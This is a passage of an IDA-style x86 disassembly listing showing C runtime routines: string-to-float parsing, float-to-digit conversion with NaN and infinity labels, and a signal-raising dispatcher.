[eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_418292 endp ; =============== S U B R O U T I N E ======================================= sub_4182C0 proc near ; CODE XREF: sub_418885+1C8p ; sub_418E4D+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4182C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182ED proc near ; CODE XREF: sub_4183B4+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_418361 push edi mov [ebp+arg_8], eax loc_418314: ; CODE XREF: sub_4182ED+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_418292 push ebx call sub_418292 lea eax, [ebp+var_10] push eax push ebx call sub_418234 push ebx call sub_418292 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_418234 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_418314 xor edx, edx pop edi loc_418361: ; CODE XREF: sub_4182ED+21j ; sub_4182ED+9Fj cmp [ebx+8], edx jnz short loc_41838E mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_418361 ; --------------------------------------------------------------------------- loc_41838E: ; CODE XREF: sub_4182ED+77j mov esi, 8000h loc_418393: ; CODE XREF: sub_4182ED+B9j test [ebx+8], esi jnz short loc_4183A8 push ebx call sub_418292 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_418393 ; --------------------------------------------------------------------------- loc_4183A8: ; CODE XREF: sub_4182ED+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_4182ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4183B4 proc near ; CODE XREF: sub_417012+17p ; sub_41703F+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_4183EF: ; CODE XREF: sub_4183B4+52j mov cl, [edi] cmp cl, 20h jz short loc_418405 cmp cl, 9 jz short loc_418405 cmp cl, 0Ah jz short loc_418405 cmp cl, 0Dh jnz short loc_418408 loc_418405: ; CODE XREF: sub_4183B4+40j ; sub_4183B4+45j ... inc edi jmp short loc_4183EF ; --------------------------------------------------------------------------- loc_418408: ; CODE XREF: sub_4183B4+4Fj push 4 pop esi loc_41840B: ; CODE XREF: sub_4183B4+AEj ; sub_4183B4+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_41868E ; default ; jumptable 00418417 case 10 jmp off_418855[eax*4] ; switch jump loc_41841E: ; DATA XREF: .packed:off_418855o cmp bl, 31h ; jumptable 00418417 case 0 jl short loc_41842F cmp bl, 39h jg short loc_41842F loc_418428: ; CODE XREF: sub_4183B4+C4j ; sub_4183B4+118j push 3 jmp loc_41864C ; --------------------------------------------------------------------------- loc_41842F: ; CODE XREF: sub_4183B4+6Dj ; sub_4183B4+72j cmp bl, byte_424434 jnz short loc_41843E loc_418437: ; CODE XREF: sub_4183B4+124j push 5 jmp loc_418684 ; --------------------------------------------------------------------------- loc_41843E: ; CODE XREF: sub_4183B4+81j movsx eax, bl sub eax, 2Bh jz short loc_418464 dec eax dec eax jz short loc_418458 sub eax, 3 jnz loc_418727 jmp loc_4184E7 ; --------------------------------------------------------------------------- loc_418458: ; CODE XREF: sub_4183B4+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_41840B ; --------------------------------------------------------------------------- loc_418464: ; CODE XREF: sub_4183B4+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_41840B ; --------------------------------------------------------------------------- loc_41846D: ; CODE XREF: sub_4183B4+63j ; DATA XREF: .packed:off_418855o cmp bl, 31h ; jumptable 00418417 case 1 mov [ebp+var_10], edx jl short loc_41847A cmp bl, 39h jle short loc_418428 loc_41847A: ; CODE XREF: sub_4183B4+BFj cmp bl, byte_424434 jz loc_418542 cmp bl, 2Bh jz short loc_4184BC cmp bl, 2Dh jz short loc_4184BC cmp bl, 30h jz short loc_4184E7 loc_418495: ; CODE XREF: sub_4183B4+207j cmp bl, 43h jle loc_418727 cmp bl, 45h jle short loc_4184B5 cmp bl, 63h jle loc_418727 cmp bl, 65h jg loc_418727 loc_4184B5: ; CODE XREF: sub_4183B4+EDj push 6 jmp loc_418684 ; --------------------------------------------------------------------------- loc_4184BC: ; CODE XREF: sub_4183B4+D5j ; sub_4183B4+DAj ... dec edi push 0Bh jmp loc_418684 ; --------------------------------------------------------------------------- loc_4184C4: ; CODE XREF: sub_4183B4+63j ; DATA XREF: .packed:off_418855o cmp bl, 31h ; jumptable 00418417 case 2 jl short loc_4184D2 cmp bl, 39h jle loc_418428 loc_4184D2: ; CODE XREF: sub_4183B4+113j cmp bl, byte_424434 jz loc_418437 cmp bl, 30h jnz loc_41869C loc_4184E7: ; CODE XREF: sub_4183B4+9Fj ; sub_4183B4+DFj mov eax, edx jmp loc_41840B ; --------------------------------------------------------------------------- loc_4184EE: ; CODE XREF: sub_4183B4+63j ; DATA XREF: .packed:off_418855o mov [ebp+var_10], edx ; jumptable 00418417 case 3 loc_4184F1: ; CODE XREF: sub_4183B4+184j cmp dword_424430, edx jle short loc_41850A movzx eax, bl push esi push eax call sub_414E86 pop ecx pop ecx push 1 pop edx jmp short loc_418518 ; --------------------------------------------------------------------------- loc_41850A: ; CODE XREF: sub_4183B4+143j mov ecx, off_424224 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_418518: ; CODE XREF: sub_4183B4+154j test eax, eax jz short loc_41853A cmp [ebp+var_4], 19h jnb short loc_418532 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_418535 ; --------------------------------------------------------------------------- loc_418532: ; CODE XREF: sub_4183B4+16Cj inc [ebp+var_8] loc_418535: ; CODE XREF: sub_4183B4+17Cj mov bl, [edi] inc edi jmp short loc_4184F1 ; --------------------------------------------------------------------------- loc_41853A: ; CODE XREF: sub_4183B4+166j cmp bl, byte_424434 jnz short loc_4185A9 loc_418542: ; CODE XREF: sub_4183B4+CCj mov eax, esi jmp loc_41840B ; --------------------------------------------------------------------------- loc_418549: ; CODE XREF: sub_4183B4+63j ; DATA XREF: .packed:off_418855o cmp [ebp+var_4], 0 ; jumptable 00418417 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_418562 loc_418555: ; CODE XREF: sub_4183B4+1ACj cmp bl, 30h jnz short loc_418562 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_418555 ; --------------------------------------------------------------------------- loc_418562: ; CODE XREF: sub_4183B4+19Fj ; sub_4183B4+1A4j ... cmp dword_424430, edx jle short loc_41857B movzx eax, bl push esi push eax call sub_414E86 pop ecx pop ecx push 1 pop edx jmp short loc_418589 ; --------------------------------------------------------------------------- loc_41857B: ; CODE XREF: sub_4183B4+1B4j mov ecx, off_424224 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_418589: ; CODE XREF: sub_4183B4+1C5j test eax, eax jz short loc_4185A9 cmp [ebp+var_4], 19h jnb short loc_4185A4 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4185A4: ; CODE XREF: sub_4183B4+1DDj mov bl, [edi] inc edi jmp short loc_418562 ; --------------------------------------------------------------------------- loc_4185A9: ; CODE XREF: sub_4183B4+18Cj ; sub_4183B4+1D7j cmp bl, 2Bh jz loc_4184BC cmp bl, 2Dh jz loc_4184BC jmp loc_418495 ; --------------------------------------------------------------------------- loc_4185C0: ; CODE XREF: sub_4183B4+63j ; DATA XREF: .packed:off_418855o cmp dword_424430, edx ; jumptable 00418417 case 5 mov [ebp+var_24], edx jle short loc_4185DC movzx eax, bl push esi push eax call sub_414E86 pop ecx pop ecx push 1 pop edx jmp short loc_4185EA ; --------------------------------------------------------------------------- loc_4185DC: ; CODE XREF: sub_4183B4+215j mov ecx, off_424224 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4185EA: ; CODE XREF: sub_4183B4+226j test eax, eax jz loc_41869C mov eax, esi jmp short loc_41864D ; --------------------------------------------------------------------------- loc_4185F6: ; CODE XREF: sub_4183B4+63j ; DATA XREF: .packed:off_418855o lea ecx, [edi-2] ; jumptable 00418417 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_418606 cmp bl, 39h jle short loc_41864A loc_418606: ; CODE XREF: sub_4183B4+24Bj movsx eax, bl sub eax, 2Bh jz short loc_418682 dec eax dec eax jz short loc_418676 sub eax, 3 jnz loc_41872A loc_41861B: ; CODE XREF: sub_4183B4+2A4j push 8 jmp short loc_418684 ; --------------------------------------------------------------------------- loc_41861F: ; CODE XREF: sub_4183B4+63j ; DATA XREF: .packed:off_418855o mov [ebp+var_20], edx ; jumptable 00418417 case 8 loc_418622: ; CODE XREF: sub_4183B4+276j cmp bl, 30h jnz short loc_41862C mov bl, [edi] inc edi jmp short loc_418622 ; --------------------------------------------------------------------------- loc_41862C: ; CODE XREF: sub_4183B4+271j cmp bl, 31h jl loc_418727 cmp bl, 39h jg loc_418727 jmp short loc_41864A ; --------------------------------------------------------------------------- loc_418640: ; CODE XREF: sub_4183B4+63j ; DATA XREF: .packed:off_418855o cmp bl, 31h ; jumptable 00418417 case 7 jl short loc_418653 cmp bl, 39h jg short loc_418653 loc_41864A: ; CODE XREF: sub_4183B4+250j ; sub_4183B4+28Aj push 9 loc_41864C: ; CODE XREF: sub_4183B4+76j pop eax loc_41864D: ; CODE XREF: sub_4183B4+240j dec edi jmp loc_41840B ; --------------------------------------------------------------------------- loc_418653: ; CODE XREF: sub_4183B4+28Fj ; sub_4183B4+294j cmp bl, 30h jnz short loc_41869C jmp short loc_41861B ; --------------------------------------------------------------------------- loc_41865A: ; CODE XREF: sub_4183B4+63j ; DATA XREF: .packed:off_418855o cmp [ebp+arg_18], 0 ; jumptable 00418417 case 11 jz short loc_41868A movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_418682 dec eax dec eax jnz loc_41872A loc_418676: ; CODE XREF: sub_4183B4+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_41840B ; --------------------------------------------------------------------------- loc_418682: ; CODE XREF: sub_4183B4+258j ; sub_4183B4+2B8j push 7 loc_418684: ; CODE XREF: sub_4183B4+85j ; sub_4183B4+103j ... pop eax jmp loc_41840B ; --------------------------------------------------------------------------- loc_41868A: ; CODE XREF: sub_4183B4+2AAj push 0Ah dec edi pop eax loc_41868E: ; CODE XREF: sub_4183B4+5Dj ; sub_4183B4+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00418417 case 10 jz loc_41872C jmp loc_41840B ; --------------------------------------------------------------------------- loc_41869C: ; CODE XREF: sub_4183B4+12Dj ; sub_4183B4+238j ... mov edi, [ebp+arg_8] jmp loc_41872C ; --------------------------------------------------------------------------- loc_4186A4: ; CODE XREF: sub_4183B4+63j ; DATA XREF: .packed:off_418855o mov [ebp+var_20], 1 ; jumptable 00418417 case 9 xor esi, esi loc_4186AD: ; CODE XREF: sub_4183B4+339j cmp dword_424430, 1 jle short loc_4186C5 movzx eax, bl push 4 push eax call sub_414E86 pop ecx pop ecx jmp short loc_4186D4 ; --------------------------------------------------------------------------- loc_4186C5: ; CODE XREF: sub_4183B4+300j mov ecx, off_424224 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4186D4: ; CODE XREF: sub_4183B4+30Fj test eax, eax jz short loc_4186F4 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_4186EF mov bl, [edi] inc edi jmp short loc_4186AD ; --------------------------------------------------------------------------- loc_4186EF: ; CODE XREF: sub_4183B4+334j mov esi, 1451h loc_4186F4: ; CODE XREF: sub_4183B4+322j mov [ebp+var_1C], esi loc_4186F7: ; CODE XREF: sub_4183B4+371j cmp dword_424430, 1 jle short loc_41870F movzx eax, bl push 4 push eax call sub_414E86 pop ecx pop ecx jmp short loc_41871E ; --------------------------------------------------------------------------- loc_41870F: ; CODE XREF: sub_4183B4+34Aj mov ecx, off_424224 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41871E: ; CODE XREF: sub_4183B4+359j test eax, eax jz short loc_418727 mov bl, [edi] inc edi jmp short loc_4186F7 ; --------------------------------------------------------------------------- loc_418727: ; CODE XREF: sub_4183B4+99j ; sub_4183B4+E4j ... dec edi jmp short loc_41872C ; --------------------------------------------------------------------------- loc_41872A: ; CODE XREF: sub_4183B4+261j ; sub_4183B4+2BCj mov edi, ecx loc_41872C: ; CODE XREF: sub_4183B4+2DDj ; sub_4183B4+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_418814 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_418758 cmp [ebp+var_45], 5 jl short loc_41874C inc [ebp+var_45] loc_41874C: ; CODE XREF: sub_4183B4+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_41875B ; --------------------------------------------------------------------------- loc_418758: ; CODE XREF: sub_4183B4+38Dj mov eax, [ebp+var_C] loc_41875B: ; CODE XREF: sub_4183B4+3A2j cmp [ebp+var_4], 0 jbe loc_41880A loc_418765: ; CODE XREF: sub_4183B4+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_418773 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_418765 ; --------------------------------------------------------------------------- loc_418773: ; CODE XREF: sub_4183B4+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_4182ED mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_418792 neg eax loc_418792: ; CODE XREF: sub_4183B4+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_41879D add eax, [ebp+arg_10] loc_41879D: ; CODE XREF: sub_4183B4+3E4j cmp [ebp+var_24], ecx jnz short loc_4187A5 sub eax, [ebp+arg_14] loc_4187A5: ; CODE XREF: sub_4183B4+3ECj cmp eax, 1450h jle short loc_4187DC mov [ebp+var_2C], 1 loc_4187B3: ; CODE XREF: sub_4183B4+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4187BF: ; CODE XREF: sub_4183B4+454j ; sub_4183B4+45Ej cmp [ebp+var_2C], 0 jz short loc_418825 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_41883A ; --------------------------------------------------------------------------- loc_4187DC: ; CODE XREF: sub_4183B4+3F6j cmp eax, 0FFFFEBB0h jge short loc_4187EC mov [ebp+var_30], 1 jmp short loc_4187B3 ; --------------------------------------------------------------------------- loc_4187EC: ; CODE XREF: sub_4183B4+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_41906D mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4187BF ; --------------------------------------------------------------------------- loc_41880A: ; CODE XREF: sub_4183B4+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4187BF ; --------------------------------------------------------------------------- loc_418814: ; CODE XREF: sub_4183B4+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_41883A ; --------------------------------------------------------------------------- loc_418825: ; CODE XREF: sub_4183B4+40Fj cmp [ebp+var_30], 0 jz short loc_41883A xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_41883A: ; CODE XREF: sub_4183B4+426j ; sub_4183B4+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4183B4 endp ; --------------------------------------------------------------------------- off_418855 dd offset loc_41841E ; DATA XREF: sub_4183B4+63r dd offset loc_41846D ; jump table for switch statement dd offset loc_4184C4 dd offset loc_4184EE dd offset loc_418549 dd offset loc_4185C0 dd offset loc_4185F6 dd offset loc_418640 dd offset loc_41861F dd offset loc_4186A4 dd offset loc_41868E dd offset loc_41865A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418885 proc near ; CODE XREF: sub_4170E3+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_4188E7 mov byte ptr [ebx+2], 2Dh jmp short loc_4188EB ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_418885+5Aj mov byte ptr [ebx+2], 20h loc_4188EB: ; CODE XREF: sub_418885+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_418911 test edi, edi jnz short loc_418911 cmp [ebp+arg_0], edi jnz short loc_418911 loc_4188FC: ; CODE XREF: sub_418885+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_418B0F ; --------------------------------------------------------------------------- loc_418911: ; CODE XREF: sub_418885+6Cj ; sub_418885+70j ... cmp dx, si jnz short loc_418990 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_41892A cmp [ebp+arg_0], 0 jz short loc_418939 loc_41892A: ; CODE XREF: sub_418885+9Dj test edi, 40000000h jnz short loc_418939 push offset a1Snan ; "1#SNAN" jmp short loc_41897F ; --------------------------------------------------------------------------- loc_418939: ; CODE XREF: sub_418885+A3j ; sub_418885+ABj test cx, cx jz short loc_418953 cmp edi, 0C0000000h jnz short loc_418953 cmp [ebp+arg_0], 0 jnz short loc_41897A push offset a1Ind ; "1#IND" jmp short loc_418962 ; --------------------------------------------------------------------------- loc_418953: ; CODE XREF: sub_418885+B7j ; sub_418885+BFj cmp edi, eax jnz short loc_41897A cmp [ebp+arg_0], 0 jnz short loc_41897A push offset a1Inf ; "1#INF" loc_418962: ; CODE XREF: sub_418885+CCj lea eax, [ebx+4] push eax call sub_40ED20 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_418971: ; CODE XREF: sub_418885+109j and [ebp+var_4], 0 jmp loc_418AE8 ; --------------------------------------------------------------------------- loc_41897A: ; CODE XREF: sub_418885+C5j ; sub_418885+D0j ... push offset a1Qnan ; "1#QNAN" loc_41897F: ; CODE XREF: sub_418885+B2j lea eax, [ebx+4] push eax call sub_40ED20 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_418971 ; --------------------------------------------------------------------------- loc_418990: ; CODE XREF: sub_418885+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_41906D add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_4189F1 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_418E4D pop ecx pop ecx loc_4189F1: ; CODE XREF: sub_418885+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_418A0B mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_418A0E jmp loc_4188FC ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_418885+173j mov edi, [ebp+arg_C] loc_418A0E: ; CODE XREF: sub_418885+17Fj cmp edi, 15h jle short loc_418A16 push 15h pop edi loc_418A16: ; CODE XREF: sub_418885+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_418A2C: ; CODE XREF: sub_418885+1B4j lea eax, [ebp+var_10] push eax call sub_418292 dec [ebp+arg_14] pop ecx jnz short loc_418A2C test esi, esi jge short loc_418A56 neg esi and esi, 0FFh jle short loc_418A56 loc_418A49: ; CODE XREF: sub_418885+1CFj lea eax, [ebp+var_10] push eax call sub_4182C0 dec esi pop ecx jnz short loc_418A49 loc_418A56: ; CODE XREF: sub_418885+1B8j ; sub_418885+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_418AB3 mov [ebp+arg_C], ecx loc_418A66: ; CODE XREF: sub_418885+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_418292 lea eax, [ebp+var_10] push eax call sub_418292 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_418234 lea eax, [ebp+var_10] push eax call sub_418292 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_418A66 mov eax, [ebp+arg_14] loc_418AB3: ; CODE XREF: sub_418885+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_418AF0 loc_418AC0: ; CODE XREF: sub_418885+248j cmp eax, ecx jb short loc_418AD3 cmp byte ptr [eax], 39h jnz short loc_418ACF mov byte ptr [eax], 30h dec eax jmp short loc_418AC0 ; --------------------------------------------------------------------------- loc_418ACF: ; CODE XREF: sub_418885+242j cmp eax, ecx jnb short loc_418AD7 loc_418AD3: ; CODE XREF: sub_418885+23Dj inc eax inc word ptr [ebx] loc_418AD7: ; CODE XREF: sub_418885+24Cj inc byte ptr [eax] loc_418AD9: ; CODE XREF: sub_418885+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_418AE8: ; CODE XREF: sub_418885+F0j mov eax, [ebp+var_4] loc_418AEB: ; CODE XREF: sub_418885+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418AF0: ; CODE XREF: sub_418885+239j ; sub_418885+275j cmp eax, ecx jb short loc_418B00 cmp byte ptr [eax], 30h jnz short loc_418AFC dec eax jmp short loc_418AF0 ; --------------------------------------------------------------------------- loc_418AFC: ; CODE XREF: sub_418885+272j cmp eax, ecx jnb short loc_418AD9 loc_418B00: ; CODE XREF: sub_418885+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_418B0F: ; CODE XREF: sub_418885+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_418AEB sub_418885 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B18 proc near ; CODE XREF: sub_413F5C+3367p arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_418B7F dec eax dec eax jz short loc_418B70 sub eax, 4 jz short loc_418B70 sub eax, 3 jz short loc_418B70 sub eax, 4 jz short loc_418B63 sub eax, 6 jz short loc_418B56 dec eax jz short loc_418B49 or eax, 0FFFFFFFFh jmp loc_418C41 ; --------------------------------------------------------------------------- loc_418B49: ; CODE XREF: sub_418B18+27j mov esi, dword_4BA558 mov eax, offset dword_4BA558 jmp short loc_418B8A ; --------------------------------------------------------------------------- loc_418B56: ; CODE XREF: sub_418B18+24j mov esi, dword_4BA554 mov eax, offset dword_4BA554 jmp short loc_418B8A ; --------------------------------------------------------------------------- loc_418B63: ; CODE XREF: sub_418B18+1Fj mov esi, dword_4BA55C mov eax, offset dword_4BA55C jmp short loc_418B8A ; --------------------------------------------------------------------------- loc_418B70: ; CODE XREF: sub_418B18+10j ; sub_418B18+15j ... push edi call sub_418C45 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_418B8A ; --------------------------------------------------------------------------- loc_418B7F: ; CODE XREF: sub_418B18+Cj mov esi, dword_4BA550 mov eax, offset dword_4BA550 loc_418B8A: ; CODE XREF: sub_418B18+3Cj ; sub_418B18+49j ... cmp esi, 1 jnz short loc_418B96 xor eax, eax jmp loc_418C41 ; --------------------------------------------------------------------------- loc_418B96: ; CODE XREF: sub_418B18+75j test esi, esi jnz short loc_418BA1 push 3 call sub_41084A loc_418BA1: ; CODE XREF: sub_418B18+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_418BB3 cmp edi, 0Bh jz short loc_418BB3 cmp edi, 4 jnz short loc_418BD9 loc_418BB3: ; CODE XREF: sub_418B18+8Fj ; sub_418B18+94j mov ebx, dword_4BA330 and dword_4BA330, 0 cmp edi, ecx jnz short loc_418C08 mov edx, dword_4245C4 mov dword_4245C4, 8Ch mov [ebp+arg_0], edx jmp short loc_418BDC ; --------------------------------------------------------------------------- loc_418BD9: ; CODE XREF: sub_418B18+99j mov ebx, [ebp+arg_0] loc_418BDC: ; CODE XREF: sub_418B18+BFj cmp edi, ecx jnz short loc_418C08 mov eax, dword_4245B8 mov ecx, dword_4245BC add ecx, eax cmp eax, ecx jge short loc_418C0F lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:424548h[edx*4] loc_418BFD: ; CODE XREF: sub_418B18+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_418BFD jmp short loc_418C0F ; --------------------------------------------------------------------------- loc_418C08: ; CODE XREF: sub_418B18+AAj ; sub_418B18+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_418C1D loc_418C0F: ; CODE XREF: sub_418B18+D7j ; sub_418B18+EEj push dword_4245C4 push 8 call esi pop ecx pop ecx jmp short loc_418C2B ; --------------------------------------------------------------------------- loc_418C1D: ; CODE XREF: sub_418B18+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_418C2B cmp edi, 4 jnz short loc_418C3E loc_418C2B: ; CODE XREF: sub_418B18+103j ; sub_418B18+10Cj cmp edi, 8 mov dword_4BA330, ebx jnz short loc_418C3E mov eax, [ebp+arg_0] mov dword_4245C4, eax loc_418C3E: ; CODE XREF: sub_418B18+111j ; sub_418B18+11Cj xor eax, eax pop ebx loc_418C41: ; CODE XREF: sub_418B18+2Cj ; sub_418B18+79j pop edi pop esi pop ebp retn sub_418B18 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_418C45 proc near ; CODE XREF: sub_418B18+59p arg_0 = dword 